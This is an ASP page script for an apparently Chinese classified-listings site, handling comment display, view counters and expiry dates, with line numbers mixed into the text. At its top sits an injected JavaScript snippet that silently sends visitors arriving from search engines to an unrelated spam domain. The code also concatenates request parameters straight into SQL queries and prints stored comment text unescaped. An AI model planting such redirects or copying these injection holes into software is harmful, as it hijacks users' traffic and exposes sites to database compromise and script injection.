d:\wwwroot\wuchunhua\reply.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file = "inc/conn.asp"-->
002:
<!--#include file = "inc/Site.js"-->
003:
<!--#include file = "inc/emot.js"-->
004:
<!--#include file="inc/function.asp"-->
005:
006:
<%
007:
dim eID,ek,claa,clab
008:
eID = replace(replace(replace(replace(replace(replace(request("id"),"'",""),"%",""),"&",""),"*",""),">",""),"<","")
009:
kqiqi=Ucase(request("kqiqi"))
010:
011:
if kqiqi="XXS" then
012:
'claa=request("cla1")
013:
'clab=request("cla2")
014:
eShowContent = "<div id=FFTit class=F12bold>本类相关信息</div><div id=FFContent><div Class=Rdiv><ul>"
015:
Set Rs = Conn.ExeCute("select top 12 * from kqiqi_info where yz=1 and class1="&request("cla1")&" and class2="&request("cla2")&" order by id Desc")
016:
do while not Rs.eof
017:
eShowContent= eShowContent & "<li><A target=_blank href=/"&Rs("xurl")&" ><font style=font-size: 9pt>"&left(Rs("biaoti"),14)&"</font></a></li>"
018:
Rs.movenext
019:
loop
020:
eShowContent= eShowContent & "</ul></div></div>"
021:
Rs.close
022:
else
023:
'Call closedb()
024:
Set Rs = Conn.ExeCute("Select llcs,hfcs,dqsj From kqiqi_info Where id = "&eID)
025:
If Not Rs.Eof Then
026:
eHtc = Rs("llcs")
027:
eRe = Rs("hfcs")
028:
eDqsj =Rs("dqsj")
029:
End If
030:
Rs.Close
031:
Set Rs = Nothing
032:
033:
Select Case kqiqi
034:
035:
Case "LLCS"
036:
Conn.Execute("Update kqiqi_info Set llcs = llcs+1 Where id = "&eID)
037:
eShowContent = eHtc+1
038:
039:
Case "HFCS"
040:
eShowContent = eRe
041:
042:
Case "DQSJ"
043:
dim sj
044:
sj=DateDiff("d",now(),eDqsj)
045:
if sj>0 then
046:
eShowContent = eShowContent & "剩余"&sj&"天"
047:
else
048:
eShowContent = eShowContent & "已经过期了"
049:
end if
050:
051:
Case "RE"
052:
username=request.cookies("kqiqi")("username")
053:
eShowContent = "<table align=center border=0 cellpadding=0 width='100%'class=td height=145>"
054:
eShowContent = eShowContent & "<form action=../reply_check.asp method=POST>"
055:
eShowContent = eShowContent & "<input name=Action type=hidden value=Re>"
056:
eShowContent = eShowContent & "<input name=ID type=hidden value="&eID&">"
057:
eShowContent = eShowContent & "<tr><td colspan=2 class=userbg><a name=Re></a> <b>发表评论</b>(请自觉遵守互联网相关政策法规,评论内容请不要超过200字符，已输入 <font color=#CC0000><span id=messageCount>0</span></font> 个字!)</td></tr>"
058:
eShowContent = eShowContent & "<tr><td height=16 align=right>用户名：</td><td><input type=text name=username size=10 maxlength=50 readonly value="&username&"> "
059:
eShowContent = eShowContent & "<input type=checkbox name=nm value=1>匿名发布 "
060:
If username = "" Then
061:
eShowContent = eShowContent & "[<a href=/Login.asp>登录</a> <a href=/kqiqi_reg_520.asp target=_blank>注册</a>]"
062:
End If
063:
eShowContent = eShowContent & "</td></tr>"
064:
eShowContent = eShowContent & "<tr><td align=right>评论内容：</td>"
065:
eShowContent = eShowContent & "<td><textarea class=ctextarea rows=10 name=ReContent cols=44 onkeyUp='textLimitCheck(this, 200)'></textarea><br><a onclick='showmodal()' href='#RE'><b>添加耀眼眩酷表情</b>！</a><input type=submit value='发表评论' name=hf></td></tr>"
066:
eShowContent = eShowContent & "</form></table>"
067:
068:
Case "RESHOW"
069:
eK=0
070:
xid=request("id")
071:
Set Rs = Conn.ExeCute("select top 10 * from reply where xxid='"&xid&"' order by id Desc")
072:
If Not Rs.Eof Then
073:
eShowContent = "<table align=center border=0 cellpadding=0 class=td width='100%'>"
074:
eShowContent = eShowContent & "<tr><td height=22 colspan=2 class=userbg> <b>查看评论</b>(共有<b>"&eRe&"</b>条评论)</td></tr>"
075:
Do while not Rs.eof
076:
eK=eK+1
077:
eShowContent = eShowContent & "<tr><td height=18 colspan=2"
078:
If eK mod 2 = 0 Then
079:
eShowContent = eShowContent & " class=userbg "
080:
End If
081:
eShowContent = eShowContent & ">"
082:
eShowContent = eShowContent & "<table width='100%' border=0 cellspacing=0 cellpadding=2><tr><td class=tmpstr>"
083:
eShowContent = eShowContent & "【<b>"&eK&"</b>楼】 <font color=#999999>该评论由 <b><font color=#CC0000>"
084:
If Rs("username")<>"" then
085:
eShowContent = eShowContent & Trim(Rs("username"))
086:
Else
087:
eShowContent = eShowContent & "[匿名]"
088:
End If
089:
eShowContent = eShowContent & "</font></b> 在<font color=#CC0000>"&Trim(Rs("hfsj"))&"</font>发布</font>"
090:
eShowContent = eShowContent & "<br>"&Rs("neirong")&"</td></tr></table>"
091:
eShowContent = eShowContent & "</td></tr>"
092:
Rs.movenext
093:
Loop
094:
if eRe>10 then
095:
eShowContent = eShowContent & "<tr><td><b>(共有<b>"&eRe&"</b>条评论) <a href=/allreply.asp?id="&eID&" target=_blank>查看更多评论>>></a></b></td></tr>"
096:
end if
097:
eShowContent = eShowContent & "</table>"
098:
End If
099:
End Select
100:
Call closedb()
101:
end if
102:
%
>
103:
document.write("
<%
=Replace(eShowContent,"'","\'")
%
>");
104:
105:
106:
107: